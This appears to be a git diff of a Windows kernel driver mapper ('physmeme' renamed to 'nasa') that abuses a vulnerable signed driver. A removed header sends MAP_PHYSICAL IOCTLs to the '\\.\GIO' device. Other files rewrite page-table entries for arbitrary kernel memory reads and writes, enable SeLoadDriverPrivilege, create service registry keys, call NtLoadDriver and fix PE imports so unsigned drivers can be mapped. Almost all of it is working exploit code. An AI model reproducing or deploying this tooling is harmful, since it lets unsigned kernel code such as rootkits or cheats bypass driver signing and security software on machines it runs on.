entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index; entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
entries.pdpt.second = k_ctx->rkm<pdpte>( entries.pdpt.second = v_ctx->rkm<pdpte>(
k_ctx->get_virtual(entries.pdpt.first)); v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pdpt.first)));
if (!entries.pdpt.second.value) if (!entries.pdpt.second.value)
return false; return false;
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index; entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
entries.pd.second = k_ctx->rkm<pde>( entries.pd.second = v_ctx->rkm<pde>(
k_ctx->get_virtual(entries.pd.first)); v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pd.first)));
// if its a 2mb page // if its a 2mb page
if (entries.pd.second.page_size) if (entries.pd.second.large_page)
{ {
memcpy( entries.pt.second.value = entries.pd.second.value;
&entries.pt.second,
&entries.pd.second,
sizeof(pte)
);
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value); entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
return true; return true;
} }
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index; entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
entries.pt.second = k_ctx->rkm<pte>( entries.pt.second = v_ctx->rkm<pte>(
k_ctx->get_virtual(entries.pt.first)); v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(entries.pt.first)));
if (!entries.pt.second.value) if (!entries.pt.second.value)
return false; return false;
@ -214,7 +208,7 @@ namespace physmeme
return {}; return {};
pt_entries entries; pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pt.first, entries.pt.second }; return { entries.pt.first, entries.pt.second };
return {}; return {};
} }
@ -225,7 +219,7 @@ namespace physmeme
return; return;
if (use_hyperspace) if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pte); v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pte);
else else
write_phys(addr, pte); write_phys(addr, pte);
} }
@ -236,7 +230,7 @@ namespace physmeme
return {}; return {};
pt_entries entries; pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pd.first, entries.pd.second }; return { entries.pd.first, entries.pd.second };
return {}; return {};
} }
@ -247,7 +241,7 @@ namespace physmeme
return; return;
if (use_hyperspace) if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pde); v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pde);
else else
write_phys(addr, pde); write_phys(addr, pde);
} }
@ -258,7 +252,7 @@ namespace physmeme
return {}; return {};
pt_entries entries; pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pdpt.first, entries.pdpt.second }; return { entries.pdpt.first, entries.pdpt.second };
return {}; return {};
} }
@ -269,7 +263,7 @@ namespace physmeme
return; return;
if (use_hyperspace) if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pdpte); v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pdpte);
else else
write_phys(addr, pdpte); write_phys(addr, pdpte);
} }
@ -280,7 +274,7 @@ namespace physmeme
return {}; return {};
pt_entries entries; pt_entries entries;
if (use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)) if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr)))
return { entries.pml4.first, entries.pml4.second }; return { entries.pml4.first, entries.pml4.second };
return {}; return {};
} }
@ -291,7 +285,7 @@ namespace physmeme
return; return;
if (use_hyperspace) if (use_hyperspace)
k_ctx->wkm(k_ctx->get_virtual(addr), pml4e); v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(addr)), pml4e);
else else
write_phys(addr, pml4e); write_phys(addr, pml4e);
} }
@ -302,7 +296,7 @@ namespace physmeme
return {}; return {};
virt_addr_t virt_addr{ addr }; virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset) if (size <= PAGE_4KB - virt_addr.offset)
{ {
pt_entries entries; pt_entries entries;
read_phys read_phys
@ -325,7 +319,7 @@ namespace physmeme
( (
buffer, buffer,
addr, addr,
PAGE_SIZE - virt_addr.offset PAGE_4KB - virt_addr.offset
); );
// forward work load // forward work load
@ -333,7 +327,7 @@ namespace physmeme
( (
new_buffer_addr, new_buffer_addr,
new_addr, new_addr,
size - (PAGE_SIZE - virt_addr.offset) size - (PAGE_4KB - virt_addr.offset)
); );
} }
} }
@ -344,7 +338,7 @@ namespace physmeme
return {}; return {};
virt_addr_t virt_addr{ addr }; virt_addr_t virt_addr{ addr };
if (size <= PAGE_SIZE - virt_addr.offset) if (size <= PAGE_4KB - virt_addr.offset)
{ {
pt_entries entries; pt_entries entries;
write_phys write_phys
@ -367,7 +361,7 @@ namespace physmeme
( (
buffer, buffer,
addr, addr,
PAGE_SIZE - virt_addr.offset PAGE_4KB - virt_addr.offset
); );
// forward work load // forward work load
@ -375,7 +369,7 @@ namespace physmeme
( (
new_buffer_addr, new_buffer_addr,
new_addr, new_addr,
size - (PAGE_SIZE - virt_addr.offset) size - (PAGE_4KB - virt_addr.offset)
); );
} }
} }
@ -386,8 +380,12 @@ namespace physmeme
return; return;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
if (temp_page) __try
{
memcpy(buffer, temp_page, size); memcpy(buffer, temp_page, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
} }
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
@ -396,8 +394,12 @@ namespace physmeme
return; return;
const auto temp_page = set_page(addr); const auto temp_page = set_page(addr);
if (temp_page) __try
{
memcpy(temp_page, buffer, size); memcpy(temp_page, buffer, size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{}
} }
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
@ -406,9 +408,8 @@ namespace physmeme
return {}; return {};
const virt_addr_t virt_addr{ addr }; const virt_addr_t virt_addr{ addr };
//
// traverse paging tables // traverse paging tables
//
auto pml4e = read_phys<::pml4e>( auto pml4e = read_phys<::pml4e>(
reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index); reinterpret_cast<ppml4e>(this->dirbase) + virt_addr.pml4_index);

@ -1,54 +1,30 @@
#pragma once #pragma once
#include "../util/nt.hpp" #include "../util/nt.hpp"
#include "../kernel_ctx/kernel_ctx.h" #include "../vdm_ctx/vdm_ctx.h"
#define PAGE_IN(addr, size) memset(addr, NULL, size) namespace nasa
struct pt_entries
{
std::pair<ppml4e, pml4e> pml4;
std::pair<ppdpte, pdpte> pdpt;
std::pair<ppde, pde> pd;
std::pair<ppte, pte> pt;
};
namespace physmeme
{ {
class mem_ctx class mem_ctx
{ {
friend class mapper_ctx; friend class mapper_ctx;
public: public:
explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid = GetCurrentProcessId()); explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
~mem_ctx(); ~mem_ctx();
//
// PTE manipulation
//
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false); std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
//
// PDE manipulation
//
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false); std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
//
// PDPTE manipulation
//
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false); std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
//
// PML4E manipulation
//
std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false); std::pair<ppml4e, pml4e> get_pml4e(void* addr, bool use_hyperspace = false);
void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
//
// gets dirbase (not the PTE or PFN but actual physical address)
//
void* get_dirbase() const; void* get_dirbase() const;
static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid); static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
void read_phys(void* buffer, void* addr, std::size_t size); void read_phys(void* buffer, void* addr, std::size_t size);
void write_phys(void* buffer, void* addr, std::size_t size); void write_phys(void* buffer, void* addr, std::size_t size);
@ -56,7 +32,6 @@ namespace physmeme
template <class T> template <class T>
T read_phys(void* addr) T read_phys(void* addr)
{ {
if (!addr) return {};
T buffer; T buffer;
read_phys((void*)&buffer, addr, sizeof(T)); read_phys((void*)&buffer, addr, sizeof(T));
return buffer; return buffer;
@ -65,7 +40,6 @@ namespace physmeme
template <class T> template <class T>
void write_phys(void* addr, const T& data) void write_phys(void* addr, const T& data)
{ {
if (!addr) return;
write_phys((void*)&data, addr, sizeof(T)); write_phys((void*)&data, addr, sizeof(T));
} }
@ -73,28 +47,20 @@ namespace physmeme
std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size); std::pair<void*, void*> write_virtual(void* buffer, void* addr, std::size_t size);
template <class T> template <class T>
T read_virtual(void* addr) __forceinline T read_virtual(void* addr)
{ {
if (!addr) return {};
T buffer; T buffer;
read_virtual((void*)&buffer, addr, sizeof(T)); read_virtual((void*)&buffer, addr, sizeof(T));
return buffer; return buffer;
} }
template <class T> template <class T>
void write_virtual(void* addr, const T& data) __forceinline void write_virtual(void* addr, const T& data)
{ {
write_virtual((void*)&data, addr, sizeof(T)); write_virtual((void*)&data, addr, sizeof(T));
} }
//
// linear address translation (not done by hyperspace mappings)
//
void* virt_to_phys(pt_entries& entries, void* addr); void* virt_to_phys(pt_entries& entries, void* addr);
//
// these are used for the pfn backdoor, this will be removed soon
//
void* set_page(void* addr); void* set_page(void* addr);
void* get_page() const; void* get_page() const;
unsigned get_pid() const; unsigned get_pid() const;
@ -105,16 +71,15 @@ namespace physmeme
pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx); pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
private: private:
//
// given an address fill pt entries with physical addresses and entry values.
//
bool hyperspace_entries(pt_entries& entries, void* addr); bool hyperspace_entries(pt_entries& entries, void* addr);
void* dirbase; void* dirbase;
kernel_ctx* k_ctx; vdm::vdm_ctx* v_ctx;
std::uint16_t pml4e_index, pdpte_index, pde_index, pte_index, page_offset; std::uint16_t pml4e_index,
pdpte_index,
pde_index,
pte_index,
page_offset;
/// first == physical
/// second == virtual
std::pair<ppdpte, ppdpte> new_pdpt; std::pair<ppdpte, ppdpte> new_pdpt;
std::pair<ppde,ppde> new_pd; std::pair<ppde,ppde> new_pd;
std::pair<ppte, ppte> new_pt; std::pair<ppte, ppte> new_pt;

@ -42,7 +42,7 @@
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform> <Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>nasa_mapper</RootNamespace> <RootNamespace>nasa_mapper</RootNamespace>
<WindowsTargetPlatformVersion>10.0.19041.0</WindowsTargetPlatformVersion> <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>nasa-mapper</ProjectName> <ProjectName>nasa-mapper</ProjectName>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
@ -198,24 +198,24 @@
<FilesToPackage Include="$(TargetPath)" /> <FilesToPackage Include="$(TargetPath)" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp" />
<ClCompile Include="map_driver.cpp" />
<ClCompile Include="mapper_ctx\mapper_ctx.cpp" /> <ClCompile Include="mapper_ctx\mapper_ctx.cpp" />
<ClCompile Include="map_driver.cpp" />
<ClCompile Include="mem_ctx\mem_ctx.cpp" /> <ClCompile Include="mem_ctx\mem_ctx.cpp" />
<ClCompile Include="pe_image\pe_image.cpp" /> <ClCompile Include="pe_image\pe_image.cpp" />
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="mapper_ctx\mapper_ctx.hpp" /> <ClInclude Include="mapper_ctx\mapper_ctx.hpp" />
<ClInclude Include="map_driver.hpp" /> <ClInclude Include="map_driver.hpp" />
<ClInclude Include="mem_ctx\mem_ctx.hpp" /> <ClInclude Include="mem_ctx\mem_ctx.hpp" />
<ClInclude Include="pe_image\pe_image.h" /> <ClInclude Include="pe_image\pe_image.h" />
<ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="util\hook.hpp" /> <ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\loadup.hpp" />
<ClInclude Include="util\nt.hpp" /> <ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" /> <ClInclude Include="util\util.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm_ctx\vdm_ctx.h" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">

@ -9,61 +9,31 @@
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter> </Filter>
<Filter Include="Source Files\kernel_ctx">
<UniqueIdentifier>{83519050-9bed-40a9-a77d-942703f60095}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\mem_ctx">
<UniqueIdentifier>{ee6a9f2c-459b-4c85-a8dc-7a7c2388f001}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\pe_image">
<UniqueIdentifier>{e57e15c5-ee32-4613-8c5d-7a8291374ce3}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\kernel_ctx">
<UniqueIdentifier>{ca26a250-bea0-4c50-96bb-c116341e88ae}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\mem_ctx">
<UniqueIdentifier>{7b30958b-892c-4861-9bd4-ca7a378fc0f4}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\util"> <Filter Include="Header Files\util">
<UniqueIdentifier>{497221d8-1116-4880-83f8-6fe282835304}</UniqueIdentifier> <UniqueIdentifier>{497221d8-1116-4880-83f8-6fe282835304}</UniqueIdentifier>
</Filter> </Filter>
<Filter Include="Header Files\physmeme"> <Filter Include="Header Files\vdm">
<UniqueIdentifier>{a262d59d-d938-418f-a639-e19e5e9ba105}</UniqueIdentifier> <UniqueIdentifier>{260f8917-d70f-4869-81d9-f07600aa2ad1}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\pe_image">
<UniqueIdentifier>{c3a39f7f-8159-4f90-b3f9-a19ccdf20936}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\mapper_ctx">
<UniqueIdentifier>{1b65a05e-277d-48e8-9c9a-fde62c697312}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\mapper_ctx">
<UniqueIdentifier>{9e414eb1-5dcb-4a4f-8eec-93a42422cf0c}</UniqueIdentifier>
</Filter> </Filter>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="kernel_ctx\kernel_ctx.cpp"> <ClCompile Include="map_driver.cpp">
<Filter>Source Files\kernel_ctx</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="mem_ctx\mem_ctx.cpp"> <ClCompile Include="vdm_ctx\vdm_ctx.cpp">
<Filter>Source Files\mem_ctx</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="pe_image\pe_image.cpp"> <ClCompile Include="pe_image\pe_image.cpp">
<Filter>Source Files\pe_image</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="mapper_ctx\mapper_ctx.cpp"> <ClCompile Include="mem_ctx\mem_ctx.cpp">
<Filter>Source Files\mapper_ctx</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="map_driver.cpp"> <ClCompile Include="mapper_ctx\mapper_ctx.cpp">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="kernel_ctx\kernel_ctx.h">
<Filter>Header Files\kernel_ctx</Filter>
</ClInclude>
<ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files\mem_ctx</Filter>
</ClInclude>
<ClInclude Include="util\hook.hpp"> <ClInclude Include="util\hook.hpp">
<Filter>Header Files\util</Filter> <Filter>Header Files\util</Filter>
</ClInclude> </ClInclude>
@ -73,22 +43,28 @@
<ClInclude Include="util\util.hpp"> <ClInclude Include="util\util.hpp">
<Filter>Header Files\util</Filter> <Filter>Header Files\util</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="physmeme\physmeme.hpp"> <ClInclude Include="map_driver.hpp">
<Filter>Header Files\physmeme</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="pe_image\pe_image.h"> <ClInclude Include="util\loadup.hpp">
<Filter>Header Files\pe_image</Filter> <Filter>Header Files\util</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="mapper_ctx\mapper_ctx.hpp"> <ClInclude Include="mem_ctx\mem_ctx.hpp">
<Filter>Header Files\mapper_ctx</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="loadup.hpp"> <ClInclude Include="mapper_ctx\mapper_ctx.hpp">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="raw_driver.hpp"> <ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="pe_image\pe_image.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="map_driver.hpp"> <ClInclude Include="vdm_ctx\vdm_ctx.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
</ItemGroup> </ItemGroup>

@ -30,7 +30,7 @@ For more information, please refer to <http://unlicense.org>
#include "pe_image.h" #include "pe_image.h"
namespace physmeme namespace nasa
{ {
pe_image::pe_image(std::vector<uint8_t>& image) : m_image(image) pe_image::pe_image(std::vector<uint8_t>& image) : m_image(image)
{ {
@ -153,7 +153,7 @@ namespace physmeme
return (T*)(uintptr_t)base + offset; return (T*)(uintptr_t)base + offset;
} }
void pe_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function) void pe_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{ {
ULONG size; ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
@ -166,7 +166,6 @@ namespace physmeme
IMAGE_THUNK_DATA* image_thunk_data; IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name); const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
if (import_descriptors->OriginalFirstThunk) if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else else

@ -42,7 +42,7 @@ For more information, please refer to <http://unlicense.org>
#include <variant> #include <variant>
#pragma comment(lib, "Dbghelp.lib") #pragma comment(lib, "Dbghelp.lib")
namespace physmeme namespace nasa
{ {
class pe_image class pe_image
{ {
@ -66,7 +66,7 @@ namespace physmeme
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
} }
void fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function); void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
void* data(); void* data();
size_t header_size(); size_t header_size();
}; };

@ -1,94 +0,0 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
inline bool load_drv()
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof(raw_driver)
);
drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return drv_handle;
}
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
);
}
}

File diff suppressed because it is too large Load Diff

@ -22,23 +22,23 @@
SOFTWARE. SOFTWARE.
*/ */
#pragma once #pragma once
#include <Windows.h> #include <Windows.h>
#include <Winternl.h> #include <Winternl.h>
#include <string> #include <string>
#include <fstream> #include <fstream>
#include <filesystem> #include <filesystem>
#include <iostream>
#pragma comment(lib, "ntdll.lib") #pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver namespace driver
{ {
namespace util namespace util
{ {
inline bool delete_service_entry(const std::string& service_name) __forceinline auto delete_service_entry(const std::string& service_name) -> bool
{ {
HKEY reg_handle; HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\"); static const std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -49,10 +49,11 @@ namespace driver
&reg_handle &reg_handle
); );
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);; return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
} }
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name) __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{ {
HKEY reg_handle; HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\"); std::string reg_key("System\\CurrentControlSet\\Services\\");
@ -67,10 +68,7 @@ namespace driver
if (result != ERROR_SUCCESS) if (result != ERROR_SUCCESS)
return false; return false;
// std::uint8_t type_value = 1;
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA( result = RegSetValueExA(
reg_handle, reg_handle,
"Type", "Type",
@ -83,10 +81,7 @@ namespace driver
if (result != ERROR_SUCCESS) if (result != ERROR_SUCCESS)
return false; return false;
// std::uint8_t error_control_value = 3;
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA( result = RegSetValueExA(
reg_handle, reg_handle,
"ErrorControl", "ErrorControl",
@ -99,10 +94,7 @@ namespace driver
if (result != ERROR_SUCCESS) if (result != ERROR_SUCCESS)
return false; return false;
// std::uint8_t start_value = 3;
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA( result = RegSetValueExA(
reg_handle, reg_handle,
"Start", "Start",
@ -115,9 +107,6 @@ namespace driver
if (result != ERROR_SUCCESS) if (result != ERROR_SUCCESS)
return false; return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA( result = RegSetValueExA(
reg_handle, reg_handle,
"ImagePath", "ImagePath",
@ -133,8 +122,7 @@ namespace driver
return ERROR_SUCCESS == RegCloseKey(reg_handle); return ERROR_SUCCESS == RegCloseKey(reg_handle);
} }
// this function was coded by paracord: https://githacks.org/snippets/4#L94 __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
inline bool enable_privilege(const std::wstring& privilege_name)
{ {
HANDLE token_handle = nullptr; HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
@ -156,7 +144,7 @@ namespace driver
return true; return true;
} }
inline std::string get_service_image_path(const std::string& service_name) __forceinline auto get_service_image_path(const std::string& service_name) -> std::string
{ {
HKEY reg_handle; HKEY reg_handle;
DWORD bytes_read; DWORD bytes_read;
@ -184,36 +172,27 @@ namespace driver
} }
} }
inline bool load(const std::string& drv_path, const std::string& service_name) __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> bool
{ {
if (!util::enable_privilege(L"SeLoadDriverPrivilege")) if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false; return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false; return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name; reg_path += service_name;
static const auto lp_nt_load_drv = ANSI_STRING driver_rep_path_cstr;
::GetProcAddress( UNICODE_STRING driver_reg_path_unicode;
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode); return ERROR_SUCCESS == NtLoadDriver(&driver_reg_path_unicode);
}
return false;
} }
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer) __forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::tuple<bool, std::string>
{ {
